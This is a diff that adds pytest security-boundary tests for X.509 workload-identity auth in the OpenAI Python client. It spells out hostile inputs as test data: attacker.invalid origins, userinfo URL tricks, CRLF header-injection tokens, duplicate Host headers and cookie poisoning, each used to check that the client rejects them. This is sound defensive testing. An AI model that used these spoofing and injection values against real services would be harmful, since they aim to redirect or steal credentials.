+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ async def hook(request: httpx2.Request) -> None:
+ request.headers["Host"] = host
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler),
+ headers={"Host": host} if source == "client" else None,
+ event_hooks={"request": [hook]} if source == "hook" else None,
+ trust_env=False,
+ )
+ identity = x509_workload_identity(identity_provider_id="provider", service_account_id="account")
+ async with AsyncOpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="Host|authority|credentials"):
+ await client.models.list(extra_headers={"Host": host} if source == "request" else None)
+
+ assert [request.url.host for request in requests] == ([_AUTH_HOST] if source == "hook" else [])
+
+
+@pytest.mark.parametrize("host", ["mtls.api.openai.com", "MTLS.API.OPENAI.COM", "mtls.api.openai.com:443"])
+def test_sync_x509_accepts_normalized_matching_host(host: str) -> None:
+ http_client = httpx2.Client(transport=httpx2.MockTransport(_response), trust_env=False)
+ identity = x509_workload_identity(identity_provider_id="provider", service_account_id="account")
+ with OpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ assert client.models.list(extra_headers={"Host": host}).object == "list"
+
+
+@pytest.mark.parametrize("host", ["mtls.api.openai.com", "MTLS.API.OPENAI.COM", "mtls.api.openai.com:443"])
+async def test_async_x509_accepts_normalized_matching_host(host: str) -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ identity = x509_workload_identity(identity_provider_id="provider", service_account_id="account")
+ async with AsyncOpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list(extra_headers={"Host": host})).object == "list"
+
+
+def test_sync_x509_rejects_duplicate_host_headers_at_final_transport() -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ def hook(request: httpx2.Request) -> None:
+ request.headers = httpx2.Headers([*request.headers.multi_items(), ("Host", "attacker.invalid")])
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ identity = x509_workload_identity(identity_provider_id="provider", service_account_id="account")
+ with OpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="Host|authority"):
+ client.models.list()
+
+ assert [request.url.host for request in requests] == [_AUTH_HOST]
+
+
+async def test_async_x509_rejects_duplicate_host_headers_at_final_transport() -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ async def hook(request: httpx2.Request) -> None:
+ request.headers = httpx2.Headers([*request.headers.multi_items(), ("Host", "attacker.invalid")])
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ identity = x509_workload_identity(identity_provider_id="provider", service_account_id="account")
+ async with AsyncOpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="Host|authority"):
+ await client.models.list()
+
+ assert [request.url.host for request in requests] == [_AUTH_HOST]
diff --git a/tests/test_x509_security_boundaries.py b/tests/test_x509_security_boundaries.py
new file mode 100644
index 0000000000..3a7226d5f9
--- /dev/null
+++ b/tests/test_x509_security_boundaries.py
@@ -0,0 +1,892 @@
+from __future__ import annotations
+
+import json
+from typing import Any, Callable, cast
+from contextvars import ContextVar
+from typing_extensions import override
+
+import anyio
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, OpenAIError
+from openai.auth import X509WorkloadIdentity, x509_workload_identity
+from openai.lib.azure import AzureOpenAI, AsyncAzureOpenAI
+from openai.auth._x509 import is_x509_workload_identity
+
+_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token"
+_API_URL = "https://mtls.api.openai.com/v1/models"
+_TARGET_CREDENTIAL_HEADERS = [
+ "api-key",
+ "API-Key",
+ "api_key",
+ "API_KEY",
+ "X-API-Key",
+ "x-aPi-kEy",
+ "x_api_key",
+ "X_API_KEY",
+ "X_ApI-Key",
+ "x-aPi_keY",
+ "Proxy-Authorization",
+ "proxy-authorization",
+ "proxy_authorization",
+ "PROXY_AUTHORIZATION",
+]
+
+
+def _identity() -> X509WorkloadIdentity:
+ return x509_workload_identity(identity_provider_id="idp_original", service_account_id="svc_original")
+
+
+def _mutate_identity(identity: X509WorkloadIdentity, field: str, value: object) -> None:
+ if field == "identity_provider_id":
+ assert isinstance(value, str)
+ identity["identity_provider_id"] = value
+ elif field == "service_account_id":
+ assert isinstance(value, str)
+ identity["service_account_id"] = value
+ else:
+ assert field == "refresh_buffer_seconds"
+ assert isinstance(value, float)
+ identity["refresh_buffer_seconds"] = value
+
+
+def _response(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": "trusted-token", "expires_in": 3600})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+
+@pytest.mark.parametrize("token_type", ["Basic", "MAC", "DPoP", "", None, 42])
+def test_sync_x509_rejects_non_bearer_token_types_before_caching(token_type: object) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(
+ 200,
+ request=request,
+ json={"access_token": "trusted-token", "expires_in": 3600, "token_type": token_type},
+ )
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="Bearer token type"):
+ client.models.list()
+ assert client._workload_identity_auth is not None
+ assert client._workload_identity_auth._cached_token is None
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("token_type", ["Basic", "MAC", "DPoP", "", None, 42])
+async def test_async_x509_rejects_non_bearer_token_types_before_caching(token_type: object) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(
+ 200,
+ request=request,
+ json={"access_token": "trusted-token", "expires_in": 3600, "token_type": token_type},
+ )
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="Bearer token type"):
+ await client.models.list()
+ assert client._workload_identity_auth is not None
+ assert client._workload_identity_auth._cached_token is None
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+_UNSAFE_ACCESS_TOKENS = [
+ "trusted\r\nInjected: secret",
+ "trusted\nInjected: secret",
+ "trusted\x00token",
+ "trusted\ttoken",
+ "trusted token",
+ " trusted-token",
+ "trusted-token ",
+ "trusted-\u00e9-token",
+ "trusted,token",
+ "trusted=token",
+]
+
+
+@pytest.mark.parametrize("access_token", _UNSAFE_ACCESS_TOKENS)
+def test_sync_x509_rejects_unsafe_access_tokens_before_caching(access_token: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={"access_token": access_token, "expires_in": 3600})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="valid Bearer access_token"):
+ client.models.list()
+ assert client._workload_identity_auth is not None
+ assert client._workload_identity_auth._cached_token is None
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("access_token", _UNSAFE_ACCESS_TOKENS)
+async def test_async_x509_rejects_unsafe_access_tokens_before_caching(access_token: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={"access_token": access_token, "expires_in": 3600})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="valid Bearer access_token"):
+ await client.models.list()
+ assert client._workload_identity_auth is not None
+ assert client._workload_identity_auth._cached_token is None
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("token_type", ["Bearer", "bearer", "BEARER"])
+def test_sync_x509_accepts_explicit_bearer_token_types(token_type: str) -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(
+ 200,
+ request=request,
+ json={"access_token": "safe.jwt_token~+/==", "expires_in": 3600, "token_type": token_type},
+ )
+ assert request.headers["Authorization"] == "Bearer safe.jwt_token~+/=="
+ return _response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+
+@pytest.mark.parametrize("token_type", ["Bearer", "bearer", "BEARER"])
+async def test_async_x509_accepts_explicit_bearer_token_types(token_type: str) -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(
+ 200,
+ request=request,
+ json={"access_token": "safe.jwt_token~+/==", "expires_in": 3600, "token_type": token_type},
+ )
+ assert request.headers["Authorization"] == "Bearer safe.jwt_token~+/=="
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("base_url", ["http://attacker.invalid/v1", "ftp://attacker.invalid/v1"])
+def test_x509_constructor_rejects_insecure_api_base(
+ client_type: type[OpenAI] | type[AsyncOpenAI], base_url: str
+) -> None:
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ client_type(workload_identity=_identity(), base_url=base_url)
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_x509_constructor_rejects_insecure_environment_base(
+ client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("OPENAI_BASE_URL", "http://attacker.invalid/v1")
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ client_type(workload_identity=_identity())
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_x509_base_url_setter_rejects_insecure_origin(client_type: type[OpenAI] | type[AsyncOpenAI]) -> None:
+ client = client_type(workload_identity=_identity())
+ try:
+ original_url = client.base_url
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ client.base_url = "http://attacker.invalid/v1"
+ assert client.base_url == original_url
+ finally:
+ if isinstance(client, OpenAI):
+ client.close()
+ else:
+ anyio.run(client.close)
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_api_key_clients_keep_supported_plaintext_local_origins(client_type: type[OpenAI] | type[AsyncOpenAI]) -> None:
+ client = client_type(api_key="local-api-key", base_url="http://localhost:8080/v1")
+ try:
+ assert str(client.base_url) == "http://localhost:8080/v1/"
+ finally:
+ if isinstance(client, OpenAI):
+ client.close()
+ else:
+ anyio.run(client.close)
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+def test_sync_copy_rejects_insecure_x509_api_base(method: str) -> None:
+ with OpenAI(workload_identity=_identity()) as client:
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ getattr(client, method)(base_url="http://attacker.invalid/v1")
+
+ with OpenAI(api_key="local-api-key", base_url="http://localhost:8080/v1") as client:
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ getattr(client, method)(workload_identity=_identity())
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+async def test_async_copy_rejects_insecure_x509_api_base(method: str) -> None:
+ async with AsyncOpenAI(workload_identity=_identity()) as client:
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ getattr(client, method)(base_url="http://attacker.invalid/v1")
+
+ async with AsyncOpenAI(api_key="local-api-key", base_url="http://localhost:8080/v1") as client:
+ with pytest.raises(OpenAIError, match="HTTPS"):
+ getattr(client, method)(workload_identity=_identity())
+
+
+_ATTACKER_URLS = [
+ "http://attacker.invalid/v1/models",
+ "https://attacker.invalid/v1/models",
+ "https://mtls.api.openai.com.@attacker.invalid/v1/models",
+ "https://mtls.api.openai.com\\@attacker.invalid/v1/models",
+ "https://mtls.api.openai.com:8443/v1/models",
+]
+
+
+@pytest.mark.parametrize("url", _ATTACKER_URLS)
+def test_sync_x509_rejects_attacker_origin_before_token_exchange(url: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="HTTPS|origin|credentials"):
+ client.get(url, cast_to=object)
+
+ assert requests == []
+
+
+@pytest.mark.parametrize("url", _ATTACKER_URLS)
+async def test_async_x509_rejects_attacker_origin_before_token_exchange(url: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="HTTPS|origin|credentials"):
+ await client.get(url, cast_to=object)
+
+ assert requests == []
+
+
+def test_sync_x509_rejects_subclass_mutated_origin_before_token_exchange() -> None:
+ requests: list[httpx2.Request] = []
+
+ class RedirectingOpenAI(OpenAI):
+ @override
+ def _prepare_request(self, request: httpx2.Request) -> None:
+ request.url = httpx2.URL("https://subclass-attacker.invalid/v1/models")
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with RedirectingOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="origin"):
+ client.models.list()
+
+ assert requests == []
+
+
+async def test_async_x509_rejects_subclass_mutated_origin_before_token_exchange() -> None:
+ requests: list[httpx2.Request] = []
+
+ class RedirectingAsyncOpenAI(AsyncOpenAI):
+ @override
+ async def _prepare_request(self, request: httpx2.Request) -> None:
+ request.url = httpx2.URL("https://subclass-attacker.invalid/v1/models")
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with RedirectingAsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="origin"):
+ await client.models.list()
+
+ assert requests == []
+
+
+def test_sync_x509_token_exchange_skips_caller_hooks_and_preserves_api_hooks() -> None:
+ requests: list[httpx2.Request] = []
+ hooked_urls: list[str] = []
+
+ def hook(request: httpx2.Request) -> None:
+ hooked_urls.append(str(request.url))
+ request.headers["X-Request-ID"] = "caller-request-id"
+ request.headers["Cookie"] = "session=caller-cookie"
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert hooked_urls == [_API_URL]
+ assert requests[0].headers.get("Authorization") is None
+ assert requests[0].headers.get("X-Request-ID") is None
+ assert requests[0].headers.get("Cookie") is None
+ assert requests[1].headers["X-Request-ID"] == "caller-request-id"
+ assert requests[1].headers["Cookie"] == "session=caller-cookie"
+
+
+async def test_async_x509_token_exchange_skips_caller_hooks_and_preserves_api_hooks() -> None:
+ requests: list[httpx2.Request] = []
+ hooked_urls: list[str] = []
+
+ async def hook(request: httpx2.Request) -> None:
+ hooked_urls.append(str(request.url))
+ request.headers["X-Request-ID"] = "caller-request-id"
+ request.headers["Cookie"] = "session=caller-cookie"
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert hooked_urls == [_API_URL]
+ assert requests[0].headers.get("Authorization") is None
+ assert requests[0].headers.get("X-Request-ID") is None
+ assert requests[0].headers.get("Cookie") is None
+ assert requests[1].headers["X-Request-ID"] == "caller-request-id"
+ assert requests[1].headers["Cookie"] == "session=caller-cookie"
+
+
+@pytest.mark.parametrize("header", _TARGET_CREDENTIAL_HEADERS)
+@pytest.mark.parametrize("source", ["client", "request"])
+def test_sync_x509_rejects_target_credentials_before_token_exchange(header: str, source: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler),
+ headers={header: "provider-secret"} if source == "client" else None,
+ trust_env=False,
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="API.key"):
+ if source == "request":
+ client.models.list(extra_headers={header: "provider-secret"})
+ else:
+ client.models.list()
+
+ assert requests == []
+
+
+@pytest.mark.parametrize("header", _TARGET_CREDENTIAL_HEADERS)
+@pytest.mark.parametrize("source", ["client", "request"])
+async def test_async_x509_rejects_target_credentials_before_token_exchange(header: str, source: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler),
+ headers={header: "provider-secret"} if source == "client" else None,
+ trust_env=False,
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="API.key"):
+ if source == "request":
+ await client.models.list(extra_headers={header: "provider-secret"})
+ else:
+ await client.models.list()
+
+ assert requests == []
+
+
+@pytest.mark.parametrize("header", _TARGET_CREDENTIAL_HEADERS)
+def test_sync_x509_rejects_hook_injected_target_credentials_at_transport(header: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def hook(request: httpx2.Request) -> None:
+ request.headers[header] = "provider-secret"
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="API.key"):
+ client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("header", _TARGET_CREDENTIAL_HEADERS)
+async def test_async_x509_rejects_hook_injected_target_credentials_at_transport(header: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def hook(request: httpx2.Request) -> None:
+ request.headers[header] = "provider-secret"
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="API.key"):
+ await client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("mutation", ["origin", "plaintext", "authorization", "remove_authorization"])
+def test_sync_x509_rejects_hook_mutated_api_request_at_transport(mutation: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def hook(request: httpx2.Request) -> None:
+ if mutation == "authorization":
+ request.headers["Authorization"] = "Bearer hook-override"
+ elif mutation == "remove_authorization":
+ del request.headers["Authorization"]
+ elif mutation == "plaintext":
+ request.url = httpx2.URL("http://hook-attacker.invalid/v1/models")
+ else:
+ request.url = httpx2.URL("https://hook-attacker.invalid/v1/models")
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="HTTPS|origin|authorization"):
+ client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("mutation", ["origin", "plaintext", "authorization", "remove_authorization"])
+async def test_async_x509_rejects_hook_mutated_api_request_at_transport(mutation: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def hook(request: httpx2.Request) -> None:
+ if mutation == "authorization":
+ request.headers["Authorization"] = "Bearer hook-override"
+ elif mutation == "remove_authorization":
+ del request.headers["Authorization"]
+ elif mutation == "plaintext":
+ request.url = httpx2.URL("http://hook-attacker.invalid/v1/models")
+ else:
+ request.url = httpx2.URL("https://hook-attacker.invalid/v1/models")
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="HTTPS|origin|authorization"):
+ await client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+def test_sync_x509_snapshots_original_identity_and_rejects_client_identity_mutation() -> None:
+ identity = _identity()
+ payloads: list[dict[str, Any]] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ payloads.append(json.loads(request.content))
+ return _response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ identity["identity_provider_id"] = "idp_attacker"
+ identity["service_account_id"] = "svc_attacker"
+ assert client.models.list().object == "list"
+ assert client.workload_identity is not None
+ assert client.workload_identity["identity_provider_id"] == "idp_original"
+
+ client.workload_identity["identity_provider_id"] = "idp_changed"
+ with pytest.raises(OpenAIError, match="cannot be changed"):
+ client.models.list()
+
+ assert len(payloads) == 1
+ assert payloads[0]["identity_provider_id"] == "idp_original"
+
+
+async def test_async_x509_snapshots_original_identity_and_rejects_client_identity_mutation() -> None:
+ identity = _identity()
+ payloads: list[dict[str, Any]] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ payloads.append(json.loads(request.content))
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ identity["identity_provider_id"] = "idp_attacker"
+ identity["service_account_id"] = "svc_attacker"
+ assert (await client.models.list()).object == "list"
+ assert client.workload_identity is not None
+ assert client.workload_identity["identity_provider_id"] == "idp_original"
+
+ client.workload_identity["identity_provider_id"] = "idp_changed"
+ with pytest.raises(OpenAIError, match="cannot be changed"):
+ await client.models.list()
+
+ assert len(payloads) == 1
+ assert payloads[0]["identity_provider_id"] == "idp_original"
+
+
+@pytest.mark.parametrize(
+ "field,value",
+ [
+ ("identity_provider_id", "idp_changed"),
+ ("service_account_id", "svc_changed"),
+ ("refresh_buffer_seconds", float("nan")),
+ ],
+)
+def test_sync_x509_rejects_mutated_cached_identity_before_network(field: str, value: object) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ client.models.list()
+ assert is_x509_workload_identity(client.workload_identity)
+ _mutate_identity(client.workload_identity, field, value)
+ with pytest.raises(OpenAIError, match="cannot be changed"):
+ client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+
+
+@pytest.mark.parametrize(
+ "field,value",
+ [
+ ("identity_provider_id", "idp_changed"),
+ ("service_account_id", "svc_changed"),
+ ("refresh_buffer_seconds", float("nan")),
+ ],
+)
+async def test_async_x509_rejects_mutated_cached_identity_before_network(field: str, value: object) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ await client.models.list()
+ assert is_x509_workload_identity(client.workload_identity)
+ _mutate_identity(client.workload_identity, field, value)
+ with pytest.raises(OpenAIError, match="cannot be changed"):
+ await client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+
+
+def test_sync_x509_preserves_caller_mounts_response_hooks_and_api_cookie_jar() -> None:
+ routed: list[str] = []
+ hook_hosts: list[str] = []
+ tenant_context: ContextVar[str] = ContextVar("tenant", default="missing")
+ tenant_context.set("tenant-original")
+
+ def auth_handler(request: httpx2.Request) -> httpx2.Response:
+ routed.append("auth:" + str(request.url))
+ assert tenant_context.get() == "tenant-original"
+ return httpx2.Response(
+ 200,
+ request=request,
+ headers={"set-cookie": "auth_poison=secret; Domain=.openai.com; Path=/"},
+ json={"access_token": "trusted-token", "expires_in": 3600},
+ )
+
+ def api_handler(request: httpx2.Request) -> httpx2.Response:
+ routed.append("api:" + str(request.url))
+ assert tenant_context.get() == "tenant-original"
+ assert "auth_poison" not in request.headers.get("cookie", "")
+ return httpx2.Response(
+ 200,
+ request=request,
+ headers={"set-cookie": "api_session=trusted; Path=/"},
+ json={"object": "list", "data": []},
+ )
+
+ def response_hook(response: httpx2.Response) -> None:
+ hook_hosts.append(str(response.request.url.host))
+
+ default_transport = httpx2.MockTransport(lambda _: pytest.fail("unexpected default transport"))
+ http_client = httpx2.Client(
+ transport=default_transport,
+ mounts={
+ "https://mtls.auth.openai.com": httpx2.MockTransport(auth_handler),
+ "https://mtls.api.openai.com": httpx2.MockTransport(api_handler),
+ },
+ event_hooks={"response": [response_hook]},
+ trust_env=False,
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+ assert http_client.cookies.get("api_session") == "trusted"
+ assert http_client.cookies.get("auth_poison") is None
+
+ assert routed == ["auth:" + _TOKEN_URL, "api:" + _API_URL]
+ assert hook_hosts == ["mtls.api.openai.com"]
+
+
+async def test_async_x509_preserves_caller_mounts_response_hooks_and_api_cookie_jar() -> None:
+ routed: list[str] = []
+ hook_hosts: list[str] = []
+ tenant_context: ContextVar[str] = ContextVar("tenant", default="missing")
+ tenant_context.set("tenant-original")
+
+ async def auth_handler(request: httpx2.Request) -> httpx2.Response:
+ routed.append("auth:" + str(request.url))
+ assert tenant_context.get() == "tenant-original"
+ return httpx2.Response(
+ 200,
+ request=request,
+ headers={"set-cookie": "auth_poison=secret; Domain=.openai.com; Path=/"},
+ json={"access_token": "trusted-token", "expires_in": 3600},
+ )
+
+ async def api_handler(request: httpx2.Request) -> httpx2.Response:
+ routed.append("api:" + str(request.url))
+ assert tenant_context.get() == "tenant-original"
+ assert "auth_poison" not in request.headers.get("cookie", "")
+ return httpx2.Response(
+ 200,
+ request=request,
+ headers={"set-cookie": "api_session=trusted; Path=/"},
+ json={"object": "list", "data": []},
+ )
+
+ async def response_hook(response: httpx2.Response) -> None:
+ hook_hosts.append(str(response.request.url.host))
+
+ default_transport = httpx2.MockTransport(lambda _: pytest.fail("unexpected default transport"))
+ http_client = httpx2.AsyncClient(
+ transport=default_transport,
+ mounts={
+ "https://mtls.auth.openai.com": httpx2.MockTransport(auth_handler),
+ "https://mtls.api.openai.com": httpx2.MockTransport(api_handler),
+ },
+ event_hooks={"response": [response_hook]},
+ trust_env=False,
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+ assert http_client.cookies.get("api_session") == "trusted"
+ assert http_client.cookies.get("auth_poison") is None
+
+ assert routed == ["auth:" + _TOKEN_URL, "api:" + _API_URL]
+ assert hook_hosts == ["mtls.api.openai.com"]
+
+
+def test_sync_x509_keeps_supported_admin_credentials_separate() -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(
+ workload_identity=_identity(),
+ admin_api_key="admin-customer-secret",
+ http_client=http_client,
+ max_retries=0,
+ ) as client:
+ client.models.list()
